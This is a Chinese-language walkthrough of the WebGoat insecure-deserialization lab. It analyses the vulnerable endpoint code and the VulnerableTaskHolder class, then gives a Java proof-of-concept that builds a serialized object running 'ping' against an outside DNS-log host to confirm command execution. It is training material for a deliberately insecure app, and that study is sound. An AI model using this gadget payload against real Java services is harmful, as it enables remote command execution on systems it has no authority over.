目录
InsecureDeserializationTask.java 代码分析
反序列化漏洞知识补充
VulnerableTaskHolder类分析
poc 编写
WebGoat 靶场地址:GitHub - WebGoat/WebGoat: WebGoat is a deliberately insecure application
这里就不介绍怎么搭建了,可以参考其他文章。如下输入框输入数据,提交进行反序列化操作
发现请求路径为 "InsecureDeserialization/task",请求参数为 token
全局搜索该路径,最终定位到如下文件
InsecureDeserializationTask.java 代码分析
提取出InsecureDeserializationTask.java 的主要代码如下,从代码可以看出:
- 服务器接收一个 post 请求,路径为"/InsecureDeserialization/task",请求参数为 token。并且将 token 参数中的 - 字符替换为 +,_ 字符替换为 / 。可能因为在某些情况下,由于URL或文件名的限制,Base64编码中的 + 和 / 字符可能会被替换为 - 和 _,所以这里再替换回去。
- ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token))) 含义是通过Base64解码得到字节数组,然后利用这些字节数组创建对象输入流。
- 最后 Object o = ois.readObject() 执行反序列化操作。当readObject()方法被调用时,Java虚拟机(JVM)会根据字节流中的信息来查找并加载相应的类,这里是VulnerableTaskHolder类。所以此时系统会寻找并加载VulnerableTaskHolder类
public class InsecureDeserializationTask extends AssignmentEndpoint {
@PostMapping("/InsecureDeserialization/task")
@ResponseBody
//定义一个返回AttackResult类型对象的方法,方法名为completed
//方法接受一个名为token的参数,该参数通过HTTP请求的查询参数(@RequestParam)获取。String类型表示这个参数是一个字符串。
public AttackResult completed(@RequestParam String token) throws IOException {
String b64token;
long before;
long after;
int delay;
//Base64编码通常使用A-Z, a-z, 0-9, +, / 这64个字符来表示。然而,在某些情况下,由于URL或文件名的限制,Base64编码中的 + 和 / 字符可能会被替换为 - 和 _
//将字符串中所有的 - 字符替换为 + 字符, 将所有的 _ 字符替换为 / 字符
b64token = token.replace('-', '+').replace('_', '/');
//Base64.getDecoder().decode(b64token) 将 Base64 编码的字符串解码为字节数组
// ByteArrayInputStream()创建字节输入流,以便能够以流的方式读取这些字节。
//new ObjectInputStream 创建对象输入流
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token))))
{
before = System.currentTimeMillis(); //反序列化前记录当前时间戳
//执行反序列化,并将反序列化后的对象赋值给类型为 Object 的变量 o
//当readObject()方法被调用时,Java虚拟机(JVM)会根据字节流中的信息来查找并加载相应的类,这里是VulnerableTaskHolder类。
Object o = ois.readObject();
if (!(o instanceof VulnerableTaskHolder)) { //检查反序列化得到的对象o是否是VulnerableTaskHolder类的实例
...
}
after = System.currentTimeMillis(); //反序列化后记录当前时间戳
}
...
//得到反序列化操作所花费的时间(以毫秒为单位,如果所耗时间在3000毫秒到7000毫秒之间则成功
delay = (int) (after - before);
if (delay > 7000) {
return failed(this).build();
}
if (delay < 3000) {
return failed(this).build();
}
return success(this).build();
}
}
反序列化漏洞知识补充
要想将某个字节序列反序列化为对象,该对象所属的类必须已经存在于系统中,具体来说,必须能够被Java虚拟机(JVM)的类加载器所加载。即VulnerableTaskHolder类必须存在,如果存在则会加载VulnerableTaskHolder类。加载后,JVM 会创建一个该类的实例,用于接收从序列化数据中读取的字段值。
如果被反序列化的类自定义了 readObject
方法,JVM 会在反序列化过程中自动调用该方法。即如果VulnerableTaskHolder 类中存在readObject 方法,并且方法中包含了不安全代码,那么这可能会导致反序列化漏洞的发生。
VulnerableTaskHolder类分析
所以我们看下VulnerableTaskHolder类是否自定义了readObject 方法,发现不仅存在readObject 方法,而且存在命令执行函数,命令执行的参数为成员变量 taskAction。这里仅仅判断了taskAction 值是否以 ping 或者 sleep 开头。
到此,反序列化漏洞的基本条件似乎都被满足了。那如何触发漏洞了?首先需要实例化一个VulnerableTaskHolder类,将其序列化然后 base64 编码即可。其实就是如下 InsecureDeserializationTask 中反序列化的逆过程。
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))
poc 编写
package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class test {
public static void main(String[] args) {
try {
//创建一个ByteArrayOutputStream实例, 用于在内存中创建一个字节数组缓冲区。这个缓冲区会随着数据的写入而自动增长。
// 这个类的用途通常是将数据写入到一个字节数组中,而不是写入到文件或网络等外部资源中。
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
//ObjectOutputStream将使用ByteArrayOutputStream提供的字节数组缓冲区来存储序列化的对象数据。
//换句话说,ObjectOutputStream是负责将对象序列化为字节序列的“写手”,而ByteArrayOutputStream则是它用来存放这些字节序列的“容器”。
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
VulnerableTaskHolder taskHolder = new VulnerableTaskHolder("ping", "ping pwqqq1.dnslog.cn");
//将taskHolder对象序列化为字节序列,并将这些字节序列写入到ObjectOutputStream所使用的ByteArrayOutputStream的字节数组缓冲区中。
objectOutputStream.writeObject(taskHolder);
objectOutputStream.flush(); // 确保所有数据都被写入到输出流中
// 从缓冲区获取序列化后的字节数组
byte[] serializedBytes = byteArrayOutputStream.toByteArray();
// 使用 Base64 编码字节数组
String b64token = Base64.getEncoder().encodeToString(serializedBytes);
// 输出编码后的字符串到屏幕上
System.out.println(b64token);
// 关闭流
objectOutputStream.close();
byteArrayOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
运行后得到 poc
复制,然后发送,即可进行 ping 操作,成功触发反序列化漏洞